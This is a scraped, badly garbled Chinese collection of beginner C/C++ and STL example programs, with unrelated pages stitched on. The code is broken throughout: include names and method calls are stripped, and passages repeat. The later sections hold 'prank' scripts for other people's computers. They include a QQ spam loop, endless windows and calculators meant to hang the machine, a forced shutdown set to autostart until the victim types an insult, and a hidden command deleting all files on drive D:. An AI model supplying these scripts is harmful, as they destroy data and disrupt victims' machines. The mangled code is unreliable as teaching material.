C经典程序代码大全

cout<<"------------------"<

<

cout<<"pi="<

else if (score>=70)

cout<<"Your grade is a C."<

else if (score>=60)

cout<<"Your grade is a D."<

else

cout<<"Your grade is a E."<

}

#include <>

main()

{

int n;

cout<<"n=";

cin>>n;

if (n>=0 && n<=100 &&n%2==0)

cout<<"n="<

else

cout<<"The "<

#include <>

main()

{

int a,b,Max;

.10

for(int i=1;i<=10;i++)

cout<

cout<

.1

for(int j=10;j>=1;j--)

cout<

cout<

.9

for(int k=1;k<=10;k=k+2)

cout<

cout<

.Z

for(char c='A';c<='Z';c++)

cout<

cout<

.

for(float x=0;x<=;x=x+

cout<

cout<

for(float x1=0;x1<=+2;x1=x1+

cout<

cout<

.+100

int s=0;

for(int n=1;n<=100;n++)

s=s+n;

cout<<"s="<

}

#include<>

main()

{

.+100

int s=0,n=1;

while(n<=100) {

s=s+n;

n++;

}

cout<<"s="<

.+100

int s=0,n=0;

do {

n++;

s+=n;

}while(n<100);

cout<<"s="<

um;

cin>>st[i].name;

cin>>st[i].maths;

cin>>st[i].physics;

cin>>st[i].chemistry;

}

otal=st[i].maths+st[i].physics+st[i].chemistry; um<<'\t';

cout<

cout<

cout<

cout<

cout<

}

}

#include<>

main()

{

ame="<<(*p).name<

cout<<"(*p).sex="<<(*p).sex<

cout<<"(*p).age="<<(*p).age<

cout<<"p->name="<name<

cout<<"p->sex="<sex<

cout<<"p->age="<age<

ame;

cout<<"sex:";

cin>>(*p).sex;

cout<<"age:";

cin>>(*p).age;

ame="<<(*p).name<

cout<<"(*p).sex="<<(*p).sex<

cout<<"(*p).age="<<(*p).age<

cout<<"-------------------------"<

ame<<'\t';

cout<

cout<

}

cout<<"----------------"<

;

int int_values[] = {51, 23, 2, 44, 45,0,11};

float float_values[] = {, , , , };

student st_arr[]={101,"WangLin",92,102,"LiPing",85,103,"ZhaoMin",88}; um<<" ";

cout<

cout<

}

}

#include<>

otal

swap_Rec(&a[i],&a[j]); <<"\t"<

}

#include<>

void disp(void); <

}

#include<>

<

cout<<"Exiting program."<

exit(1); <

cout<<"Exiting program."<

exit(1); <

cout<<"Exiting program."<

exit(1); <

cout<<"Exiting program."<

exit(1); <

cout<<"Exiting program."<

exit(1); <

cout<<"Exiting program."<

exit(1); <

cout<<"Exiting program."<

exit(1); <

cout<<"Exiting program."<

exit(1); <

cout<<"Exiting program."<

exit(1); um;

cin>>st[i].name;

cin>>st[i].grade;

fprintf(fp1,"%d %s %f\n",st[i].num,st[i].name,st[i].grade);

}

fclose(fp1); <

cout<<"Exiting program."<

exit(1); <

cout<<"Exiting program."<

exit(1); <

cout<<"Exiting program."<

exit(1); <

cout<<"Exiting program."<

exit(1); <

cout<<"Exiting program."<

exit(1); <

cout<<"Exiting program."<

exit(1); <

cout<<"Exiting program."<

exit(1); <

cout<<"Exiting program."<

exit(1); <

cout<<"Exiting program."<

exit(1); */

putc( 'A', stdin );

if( ferror( stdin ) )

{

perror( "Write error" );

clearerr( stdin );

}

/* See if read causes an error. */

printf( "Will input cause an error? " );

c = getc( stdin );

if( ferror( stdin ) )

{

perror( "Read error" );

clearerr( stdin );

}

}

#include<>

#include<>

<

for (i=1; i<=MAX; i++) {

cin>>x;

(x);

}

<

}

void push(float x) <

for (i=1; i<=MAX; i++) {

cin>>x;

(x);

}

<

}

void push(float x) <

}

~stack(void) << endl; << endl;

}

<< endl; isp_count();

delete p;

();

}

#include<>

<< endl;

}

~ex_class() {

cout << "The Object destroyed." <

void set_value(int n);

void show_val(char *name);

} ;

<

}

#include<>

um :";

cout<

}

};

um :";

cout<<<

}

um="<

}

public: um=";

cout<<<

}

how_value("(*p)obj2");

al="<

DispFirst();

}

};

<

}

virtual void aFn2(void) {

cout<<"aFn2 is in Base class."<

}

<

}

};

<

}

<

<

}

<

<

}

void aFn2(void) {

cout<<"aFn2 is in First derived class."<

};

<

}

void aFn2(void){

cout<<"aFn2 is in Second derived class."<

};

;

cout<<"s1: "<

cout<<"s2: "<

10.2f10.5f;

cout<<"String: "<

cout<<"p : "<

}

#include<>

#include <>

;

int n;

1.7320534f << endl;

}

~stack(void) {

cout << "Stack Destroyed." << endl;

}

void push(T);

T pop(void);

};

<< endl;

return;

}

stck[tos++] = i;

}

template T stack::pop(void)

{

if(tos==0)

{

cout << "Stack underflow." << endl;

return 0;

}

return stck[--tos];

}

irst;

cout<<","<<(*theIterator).second<<" "; }

cout<

irst;

cout<<","<<(*theIterator).second<<" "; }

cout<

irst;

cout<<","<<(*it).second<<" ";

}

cout<

econd << " ";

else

cout << "[err] ";

}

cout << endl;

}

}

#include

#include

#include

using namespace std;

econd;

cout<<"\t"<<(*theIterator).first<

econd;

cout<<"\t"<<(*i).first<

}

econd;

cout<<"\t"<<(*it).first<

}

econd;

cout<<"\t"<<(*i).first<

}

}

#include

#include

#include <>

using namespace std;

#define ARRAY_SIZE 3 .入栈

for (i=0;i<10;i=i+2)

(i);

if (!()) {

cout << "()=20;" << endl;

()=20;

}

//弹出栈中所有的数据并显示

cout<<"stack1: ";

while (!()) {

cout<<()<<" ";

();

}

cout<

}

#include

#include

#include

using namespace std;

//创建一个list容器的实例LISTINT,其存放int型数据typedef list LISTINT;

void main(void)

{

//用LISTINT创建一个名为listOne的list对象

LISTINT listOne;

//指定i为迭代器变量

LISTINT::iterator i;

LISTINT::reverse_iterator ir;

//从前面向listOne容器中添加数据

(2);

(1);

//从后面向listOne容器中添加数据

(3);

(4);

//从前向后显示listOne中的数据

for (i = (); i != (); ++i)

cout << *i << " ";

cout << endl;

//从后向后显示listOne中的数据

for (ir =();ir!=(); ++ir)

cout << *ir << " ";

cout << endl;

//从键盘上输入数据

for (i = (); i != (); ++i) {

cout<<"listOne :";

cin>>(*i);

}

//从前向后显示listOne中的数据

for (i = (); i != (); ++i)

cout << *i << " ";

cout << endl;

//bidirectional迭代器不允许加减运算

// i=()+1;

}

#include

#include

#include

#include

#include

#include

using namespace std;

//利用类模板生成类实例

typedef vector < int > IntArray;

typedef list LISTINT;

typedef set SET_INT;

int add(int a, int b) {

return a+b;

}

//在main()函数中测试accumulate算法

void main ()

{

//--------------------------------------------// accumulate算法对于普通数组的计算

//--------------------------------------------- int x[]={1,3,5,7,9};

cout<<"x[]:";

for (int i=0;i<5;i++)

cout<

cout<

cout<<"accumulate(x,x+5,0)=";

cout<

int val=100;

cout<<"val="<

cout<<"accumulate(x,x+5,val)=";

cout<

//--------------------------------------------// accumulate算法对于vector容器的计算

//--------------------------------------------- //声明intvector容器和迭代器ii

IntArray intvector;

IntArray::iterator ii;

//向intvector容器中插入元素

for (i=1; i<=5; i++) {

(i);

};

//显示intvector容器中的元素值和累加结果

cout << "intvector: "<

for (ii=();ii !=();++ii)

cout<<(*ii)<<" ";

cout<

cout<<"accumulate(),(),0)=";

cout<

//--------------------------------------------// accumulate算法对于list容器的计算

//--------------------------------------------- //声明list容器对象和迭代器

LISTINT::iterator iL;

LISTINT list1;

//向list1容器对象中插入元素并显示

(1);

(3);

(5);

(2);

(6);

//显示list1容器的元素值和累加结果

cout << "list1: "<

for (iL=();iL !=();++iL)

cout<<(*iL)<<" ";

cout<

cout<<"accumulate(),(),0)=";

cout<

//--------------------------------------------// accumulate算法对于set容器的计算

//--------------------------------------------- //声明set容器对象和迭代器

SET_INT set1;

SET_INT::iterator si;

//向set1容器中插入元素

(5);

(20);

(10);

(15);

(25);

//显示set1容器的元素值和累加结果

cout <<"set1: "<

for (si=();si !=();++si)

cout<<(*si)<<" ";

cout<

cout<<"accumulate(),(),0)=";

cout<

cout<<"accumulate(),(),100)=";

cout<

}

#include

#include

#include

#include

#include

#define size 10

using namespace std;

//产生指定范围的整数随机数

int getrand(int min,int max) {

int m;

m=(max-min);

m=min+double(rand())/RAND_MAX*m ;

return m;

}

//利用类模板生成实例

typedef vector < int > IntArray;

typedef list LISTINT;

typedef set SET_INT;

//在main()函数中测试accumulate算法

void main ()

{

//--------------------------------------------// count算法对于普通数组的计算

//--------------------------------------------- int x[size];

cout<<"x[]:";

for (int i=0;i

x[i]=getrand(1,3);

cout<

}

cout<

cout<<"count(x,x+size,2)=";

cout<

cout<<"count(x+2,x+8,2)=";

cout<

//--------------------------------------------// count算法对于vector容器的计算

//--------------------------------------------- //声明intvector容器和迭代器ii

IntArray intvector;

IntArray::iterator ii;

//向intvector容器中插入元素

for (i=1; i

(getrand(2,6));

};

//显示intvector容器中的元素值和统计结果

cout << "intvector: ";

for (ii=();ii !=();++ii)

cout<<(*ii)<<" ";

cout<

cout<<"count(),(),4)=";

cout<

//--------------------------------------------// count算法对于list容器的计算

//--------------------------------------------- //声明list容器对象和迭代器

LISTINT::iterator iL;

LISTINT list1;

//向list1容器对象中插入元素并显示

for (i=1; i

(getrand(3,5));

};

//显示list1容器的元素值和统计结果

cout << "list1: ";

for (iL=();iL !=();++iL)

cout<<(*iL)<<" ";

cout<

cout<<"count(),(),3)=";

cout<

//--------------------------------------------// count算法对于set容器的计算

//--------------------------------------------- //声明set容器对象和迭代器

SET_INT set1;

SET_INT::iterator si;

//向set1容器中插入元素

for (i=1; i

(getrand(1,10));

};

//显示set1容器的元素值和统计结果

cout <<"set1: ";

for (si=();si !=();++si)

cout<<(*si)<<" ";

cout<

cout<<"count(),(),5)=";

cout<

}

#include

#include

#include

#include

using namespace std;

//如果字符串以'S'开头,则返回true

int MatchFirstChar( const string& str)

{

string s("S") ;

return s == (0,1) ;

}

//测试count_if算法

void main()

{

const int VECTOR_SIZE = 8 ;

//生成成员类型为strings的vector容器类

typedef vector StringVector ;

//定义迭代器类型

typedef StringVector::iterator StringVectorIt ;

//声明vector容器的对象

StringVector NamesVect(VECTOR_SIZE) ;

//声明迭代器

StringVectorIt start, end, it ;

int result = 0 ; // 存放统计数据

//初始化vector容器NamesVect

NamesVect[0] = "She" ;

NamesVect[1] = "Sells" ;

NamesVect[2] = "Sea" ;

NamesVect[3] = "Shells" ;

NamesVect[4] = "by" ;

NamesVect[5] = "the" ;

NamesVect[6] = "Sea" ;

NamesVect[7] = "Shore" ;

//设置容器的起始位置和终止位置

start = () ;

end = () ;

//显示NamesVect容器的元素

cout << "NamesVect: " ;

for(it = start; it != end; it++)

cout << *it << " " ;

cout <

//统计并显示NamesVect容器的所有元素中以'S'字符开头的字符串 result = count_if(start, end, MatchFirstChar) ;

cout << "Number of elements that start with letter \"S\" = " << result << endl ;

//显示NamesVect容器[1,6]之间的元素

cout <<"NamesVect[1]--NamesVect[6]: " ;

for(it =&NamesVect[1]; it != &NamesVect[7]; it++)

cout << *it << " " ;

cout <

//统计并显示NamesVect容器的所有元素中以'S'字符开头的字符串

result = count_if(&NamesVect[1], &NamesVect[7], MatchFirstChar) ; cout << "Number of elements that start with letter \"S\" = "

<< result << endl ;

}

#include

#include

#include

using namespace std;

//利用类模板生成实例

typedef vector < int > IntArray;

//显示数组

void put_array(int x[],int size) {

for(int i=0;i

cout<

cout<

}

//显示vector容器中的元素

void put_vector(IntArray v)

{

IntArray::iterator theIterator;

for (theIterator=();theIterator!=();++theIterator){

cout<<(*theIterator)<<" ";

}

cout<

}

//在main()函数中测试fill和fill_n算法

void main ()

{

//--------------------------------------------

// fill和fill_n算法对普通数组的计算

//---------------------------------------------

int x[]={1,3,5,7,9};

cout << "x[]: ";

put_array(x,5);

//填数处理

fill(x+1,x+3,2);

cout << "fill(x+1,x+3,2): "<

put_array(x,5);

fill_n(x,3,8);

cout << "fill_n(x,3,8): "<

put_array(x,5);

//--------------------------------------------

// fill和fill_n算法对于vector容器的计算

//---------------------------------------------

//声明intvector容器和迭代器ii

IntArray intvector;

//向intvector容器中插入元素

for (int i=1; i<=10; i++) {

(i);

};

//显示intvector容器中的元素值和统计结果

cout << "intvector: "<

put_vector(intvector);

//填数处理

fill(),()+3,2);

cout << "fill(),()+3,2): "<

put_vector(intvector);

fill_n(&intvector[5],3,8);

cout << "fill_n(&intvector[5],3,8): "<

put_vector(intvector);

}

#include

#include

#include

#define ARRAY_SIZE 10

using namespace std;

//利用类模板生成实例

typedef vector < int > IntArray;

//显示数组

void put_array(int x[],int size) {

for(int i=0;i

cout<

cout<

}

//显示vector容器中的元素

void put_vector(IntArray v)

{

IntArray::iterator theIterator;

for (theIterator=();theIterator!=();++theIterator){

cout<<(*theIterator)<<" ";

}

cout<

}

//在main()函数中测试find()算法

void main ()

{

int i,value,*p;

//--------------------------------------------

// find()算法对于普通数组的处理

//---------------------------------------------

int x[ARRAY_SIZE]={1,3,5,7,9,2,4,6,8,10};

cout << "x[]: ";

put_array(x,ARRAY_SIZE);

//find()算法查找,并显示查找结果

for(i=0;i<=2;i++) {

cout<<"value=";

cin>>value;

p=find(x,x+ARRAY_SIZE,value);

if (p != x + ARRAY_SIZE) { //查到

cout << "First element that matches " << value;

cout<< " is at location " << p - x<< endl;

}

else { //未查到

cout << "The sequence does not contain any elements"; cout<< " with value " << value << endl ;

}

}

//--------------------------------------------

// find()算法对于vector容器的处理

//---------------------------------------------

//声明intvector容器对象

IntArray intvector;

//向intvector容器中插入元素

for (i=1; i<=10; i++) {

(i);

};

//显示intvector容器中的元素值

cout << "intvector: ";

put_vector(intvector);

//find()算法查找,并显示查找结果

IntArray::iterator pos;

for (i=0;i<=2;i++) {

cout<<"value=";

cin>>value;

pos=find(),(),value);

if (pos != ()) { //查到

cout << "First element that matches " << value;

cout<< " is at location " <

}

else { //未查到

cout << "The sequence does not contain any elements"; cout<< " with value " << value << endl ;

}

}

}

#include

#include

#include

#define ARRAY_SIZE 10

using namespace std;

//利用类模板生成实例

typedef vector < int > IntArray;

//显示数组

void put_array(int x[],int size) {

for(int i=0;i

cout<

}

//显示vector容器中的元素

void put_vector(IntArray v)

{

IntArray::iterator theIterator;

for (theIterator=();theIterator!=();++theIterator){

cout<<(*theIterator)<<" ";

}

}

//在main()函数中测试find()_end()算法

void main ()

{

//--------------------------------------------

// find_end()算法对普通数组的处理

//---------------------------------------------

int x[ARRAY_SIZE]={1,3,5,7,9,2,4,6,8,10};

cout << "x[]: ";

put_array(x,ARRAY_SIZE);

cout<

int y[]={5,7,9};

cout << "y[]: ";

put_array(y,3);

cout<

// find_end()算法查找,并显示查找结果

int *p=find_end(x,x+ARRAY_SIZE,&y[0],&y[2]);

if (p != x + ARRAY_SIZE) { //查到

cout << "The first element that matches :" ;

put_array(y,3);

cout<< " is at location in x" << p - x<< endl;

}

else { //未查到

cout << "The sequence does not contain any elements";

cout<< " with value " ;

put_array(&x[3],3);

}

//--------------------------------------------

// find_end()算法对vector容器的处理

//---------------------------------------------

//声明intvector容器对象

IntArray intvector;

//向intvector容器中插入元素

for (int i=1; i<=10; i++) {

(i);

};

//显示intvector容器中的元素值

cout << "intvector: ";

put_vector(intvector);

cout<

IntArray temp;

(5);

(6);

(7);

cout << "temp: ";

put_vector(temp);

cout<

// find_end()算法查找,并显示查找结果

IntArray::iterator pos;

pos=find_end(),(),(),());

if (pos != ()) { //查到

cout << "The first element that matches ";

put_vector(temp);

cout<< " is at location in intvector " <

else { //未查到

cout << "The sequence does not contain any elements";

cout<< " with value ";

put_vector(temp);

cout<< endl ;

}

}

#include

#include

#include

using namespace std;

//返回一个Fibonacci数,其由generate_n()算法调用

int Fibonacci1(void)

{

static int r;

static int f1 = 0;

static int f2 = 1;

r = f1 + f2 ;

f1 = f2 ;

f2 = r ;

return f1 ;

}

//返回一个Fibonacci数,其由generate()算法调用

int Fibonacci2(void)

{

static int r;

static int f1 = 0;

static int f2 = 1;

r = f1 + f2 ;

f1 = f2 ;

f2 = r ;

return f1 ;

}

//定义整型数的vector容器类

typedef vector IntVector ;

//显示vector容器中的元素

void put_vector(IntVector v,char *name)

{

IntVector::iterator theIterator;

cout<

for (theIterator=();theIterator!=();++theIterator){

cout<<(*theIterator)<<" ";

}

cout<

}

//测试generate()和generate_n()算法

void main()

{

const int VECTOR_SIZE = 15 ;

//定义迭代器类

typedef IntVector::iterator IntVectorIt ;

//声明vector容器对象

IntVector Numbers1(VECTOR_SIZE),Numbers2(VECTOR_SIZE); int i ;

//初始化vector容器对象

for(i = 0; i < VECTOR_SIZE; i++)

Numbers1[i] = i ;

//显示vector容器对象的元素

cout << "Before calling generate_n:" << endl ;

put_vector(Numbers1,"Numbers1");

//利用generate_n算法用Fibonacci 数填充vector容器

generate_n(), VECTOR_SIZE, Fibonacci1) ;

//显示vector容器对象的元素

cout << "After calling generate_n:" << endl ;

put_vector(Numbers1,"Numbers1");

//利用generate算法用Fibonacci 数填充vector容器

generate(),(), Fibonacci2) ;

//显示vector容器对象的元素

cout << "After calling generate:" << endl ;

put_vector(Numbers2,"Numbers2");

}

#include

#include

#include

using namespace std;

//利用类模板生成实例

typedef vector < int > IntArray;

//显示数组

void put_array(int x[],int size) {

for(int i=0;i

cout<

cout<

}

//显示vector容器中的元素

void put_vector(IntArray v)

{

IntArray::iterator theIterator;

for (theIterator=();theIterator!=();++theIterator){

cout<<(*theIterator)<<" ";

}

cout<

}

//在main()函数中测试reverse()和reverse_copy()算法

void main ()

{

//--------------------------------------------

// reverse()和reverse_copy()算法对普通数组处理

//---------------------------------------------

int x[]={1,3,5,7,9};

cout<<"x[]:";

put_array(x,5);

//reverse()反转x数组并显示

reverse(x,x+5);

cout<<"x[]:";

put_array(x,5);

int y[]={2,4,6,8,10};

cout<<"y[]:";

put_array(y,5);

//reverse_copy()反转y数组的部分元素并拷贝到x数组第2个元素位置 reverse_copy(y+1,y+3,x+1);

cout<<"x[]:";

put_array(x,5);

cout<<"y[]:";

put_array(y,5);

//--------------------------------------------

// reverse()和reverse_copy()算法对vector容器的处理

//---------------------------------------------

//声明intvector容器和迭代器ii

IntArray intvector;

//向intvector容器中插入元素

for (int i=1; i<=10; i++) {

(i);

};

//显示intvector容器中的元素值

cout << "intvector: "<

put_vector(intvector);

//reverse()对于vector容器的处理

reverse(),());

cout << "intvector: "<

put_vector(intvector);

// reverse_copy对于vector容器的处理

IntArray temp(5);

reverse_copy()+2,()+7,());

cout << "temp: "<

put_vector(temp);

}

#include

#include

#include

#include <>

#define ARRAY_SIZE 15

using namespace std;

//定义整型数的vector容器类

typedef vector IntVector ;

//显示数组

void put_array(int x[],int size) {

for(int i=0;i

cout<

cout<

}

//显示vector容器中的元素

void put_vector(IntVector v,char *name)

{

IntVector::iterator theIterator;

cout<

for (theIterator=();theIterator!=();++theIterator){ cout<<(*theIterator)<<" ";

}

cout<

}

//产生指定范围的整数随机数

int getrand(int min,int max) {

int m;

m=(max-min);

m=min+double(rand())/RAND_MAX*m ;

return m;

}

//在main()函数中测试sort()和partial_sort()算法

void main ()

{

int i;

//--------------------------------------------

// sort()和partial_sort()算法对普通数组处理

//---------------------------------------------

//sort()算法处理数组,并显示

int x[ARRAY_SIZE];

for (i=0;i

x[i]=getrand(1,20);

}

cout<<"x[]:";

put_array(x,ARRAY_SIZE);

sort(x,x+ARRAY_SIZE);

cout<<"sort(x,x+ARRAY_SIZE):"<

put_array(x,ARRAY_SIZE);

//partial_sort()算法对于数组进行处理

int y[ARRAY_SIZE];

for (i=0;i

y[i]=getrand(1,30) ;

}

cout<<"y[]:";

put_array(y,ARRAY_SIZE);

partial_sort(y+2,y+7,y+ARRAY_SIZE);

cout<<"partial_sort(y+2,y+7,y+ARRAY_SIZE):"<

//--------------------------------------------

// sort()和partial_sort()算法对vector容器的处理

//---------------------------------------------IntVector Numbers1,Numbers2;

for(i=0;i<15;i++) {

(getrand(1,30));

(getrand(1,30));

}

put_vector(Numbers1,"Numbers1");

put_vector(Numbers2,"Numbers2");

//sort()算法处理并显示

sort(),());

cout<<"After call sort():"<

put_vector(Numbers1,"Numbers1");

//partial_sort()算法处理并显示

partial_sort()+2,()+7,());

cout<<"After call partial_sort():"<

put_vector(Numbers2,"Numbers2");

}

#include

#include

#include <>

#include <>

#define ARRAY_SIZE 15

using namespace std;

//显示数组

void put_array(int x[],int size) {

for(int i=0;i

cout<

cout<

}

//产生指定范围的整数随机数

int getrand(int min,int max) {

int m;

m=(max-min);

m=min+double(rand())/RAND_MAX*m ;

return m;

}

//在main()函数中测试max_element()和 min_element()算法void main ()

{

//声明变量和数组

int i;

int x[ARRAY_SIZE];

//用1到100的随机数初始化数组,并显示

srand( (unsigned)time( NULL ) );

for (i=0;i

x[i]=getrand(1,100);

}

cout<<"x[]:";

put_array(x,ARRAY_SIZE);

//对数组x使用max_element()算法,并显示 int *pMax=max_element(x,x+ARRAY_SIZE); cout<<"pMax ="<

cout<<"Location="<<(pMax-x)<

cout<<"*pMax ="<<(*pMax)<

//对数组x使用min_element()算法,并显示 int *pMin=min_element(x,x+ARRAY_SIZE); cout<<"pMin ="<

cout<<"Location="<<(pMin-x)<

cout<<"*pMin ="<<(*pMin)<

}

C程序代码大全

C程序代码大全 This manuscript was revised on November 28, 2020

<=70) cout<<"Your grade is a C."<=60) cout<<"Your grade is a D."< main() { int n; cout<<"n="; cin>>n; if (n>=0 && n<=100 &&n%2==0) cout<<"n="< main() { int a,b,Max; .10 for(int i=1;i<=10;i++) cout<=1;j--) cout<

C语言代码大全

------------------------------------------------------------------------摘自宋鲁生程序设计大赛 乘法口诀表 #include #include void main(void) { int i,j,x,y; clrscr(); printf("\n\n * * * 乘法口诀表* * * \n\n"); x=9; y=5; for(i=1;i<=9;i++) { gotoxy(x,y); printf("%2d ",i); x+=3; } x=7; y=6; for(i=1;i<=9;i++) { gotoxy(x,y); printf("%2d ",i); y++; } x=9; y= 6; for(i=1;i<=9;i++) { for(j=1;j<=9;j++) { gotoxy(x,y); printf("%2d ",i*j); y++; } y-=9; x+=3; } printf("\n\n"); }

用一维数组统计学生成绩 #include void main() { char SelectKey,CreditMoney,DebitMoney; while(1) { do{ clrscr(); puts("========================="); puts("| Please select key: |"); puts("| 1. Quary |"); puts("| 2. Credit |"); puts("| 3. Debit |"); puts("| 4. Return |"); puts("========================="); SelectKey = getch(); }while( SelectKey!='1' && SelectKey!='2' && SelectKey!='3' && SelectKey!='4' ); switch(SelectKey) { case '1': clrscr(); puts("================================"); puts("| Your balance is $1000. |"); puts("| Press any key to return... |"); puts("================================"); getch(); break; case '2': do{ clrscr(); puts("=================================="); puts("| Please select Credit money: |"); puts("| 1. $50 |"); puts("| 2. $100 |"); puts("| 3. Return |"); puts("=================================="); CreditMoney = getch(); }while( CreditMoney!='1' && CreditMoney!='2' && CreditMoney!='3' ); switch(CreditMoney)

vbs整人代码大集合 多年的代码收集

vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

C 经典程序代码大全

C 经典程序代码大全 #include const float PI= 3.1416; //声明常量(只读变量)PI为 3.1416 float fCir_L(float); //声明自定义函数fCir_L()的原型 float fCir_S(float); //声明自定义函数fCir_S()的原型 //以下是main()函数 main() { float r,l,s; //声明3个变量 cout>r; //键盘输入 l=fCir_L(r); //计算圆的周长,赋值给变量l s=fCir_S(r); //计算圆的面积,赋值给变量s cout=0.0) //如果参数大于0,则计算圆的周长 z=2*PI*x; return(z); //返回函数值 } //定义计算圆的面积的函数fCir_S() float fCir_S(float x) { float z=- 1.0; //声明局部变量 if (x>=0.0) //如果参数大于0,则计算圆的面积 z=PI*x*x; return(z); //返回函数值 } /* Program: P1- 2.CPP Written by: Hap Date written: 02:11:10 */ #include void main(void) { double s1,s2,s3; s1= 1.5; /* 对变量s1赋值*/ cout main() { double r=

1.0; cout>r; //键盘输入 l=2* 3.1416*r; //计算圆的周长,赋值给变量l cout //包含iostream.h头文件 void main() { //输出字符常量.变量和字符串 char c1= A ; cout //包含iostream.h头文件 main() { //输入输出字符 char c; cin>>c; cout>n; cout>x; cout>n; cout>c>>n>>x; cout //包含iostream.h头文件 main() { //声明整型变量 int a,b; //从键盘上为整型变量赋值cout>a; cout>b; //整型数的算术运算 cout //包含iostream.h 头文件 main() { //声明变量,并初始化 int a=010,b=10,c=0X10; //以进制形式显示数据 cout>a; cout>b; cout>c; cout //包含iostream.h头文件 #include // iomanip.h头文件包含setprecision()的定义 main() { //float型变量的声明.输入.计算和输出 float fx,fy; cout>fx; cout>fy; cout>dx; cout>dy; cout //包含iostream.h 头文件 main() { //字符类型变量的声明 char c1= A ; char c2; //字符数据的运算及输出 c2=c1+32; cout>c1>>c2; cout //包含iostream.h头文件 main() { char c1= \a ,TAB= \t ; //阵铃一声 cout //包含iostream.h头文件 main()

c语言整人代码

C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可执行的 文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、 好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1: #include #include int main(void)

{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了,自己人不整自己人~ 源程序2: #include #include void main() { int i=0; char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~"""); printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n"); printf("输入:"); while(strcmp(s,"我是猪")) { gets(s); if(strcmp(s,"我是猪")==0) { system("shutdown -a"); } system("cls"); i++; switch(i%3) { case 0: printf("不肯承认就要关机啦,哈哈~~很简单,输入你是猪嘛~~\n"); break; case 1: printf("你是猪你是猪你是猪你是猪,你是猪,要保存的东西快保存哦~\n"); break;

C经典程序代码大全

//根据半径计算圆的周长和面积#include const float PI=3.1416; //声明常量(只读变量)PI为3.1416 float fCir_L(float); //声明自定义函数fCir_L()的原型 float fCir_S(float); //声明自定义函数fCir_S()的原型 //以下是main()函数 main() { float r,l,s; //声明3个变量 cout<<"r="; //显示字符串 cin>>r; //键盘输入 l=fCir_L(r); //计算圆的周长,赋值给变量l s=fCir_S(r); //计算圆的面积,赋值给变量s cout<<"l="<y)z=x; else z=y; return(z);

} 4.有人用温度计测量出华氏发表示的温度(如69°F),今要 求把她转换成以摄氏法表示的温度(如20℃)。 公式:c=5(f-32)/9. 其中f代表华氏温度,c代表摄氏温度。 程序: #include int main() { float f,c; f=64.0; c=(5.0/9)*(f-32); printf("f=%f\nc=%f\n",f,c); return 0; } 5.计算存款利息。有1000元,想存一年。有一下三种方法可 选:(1)活期:年利率为r1;(2)一年定期:年利率为r2; (3)存两次半年定期:年利率为r3。分别计算一年后按三种方法所得到的本息和。 程序: #include

C 语言整人代码大全

C 语言整人代码大全WScript.Echo("嘿,谢谢你打开我哦,我等你很久 拉!"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!") WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰 你工作。") WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")

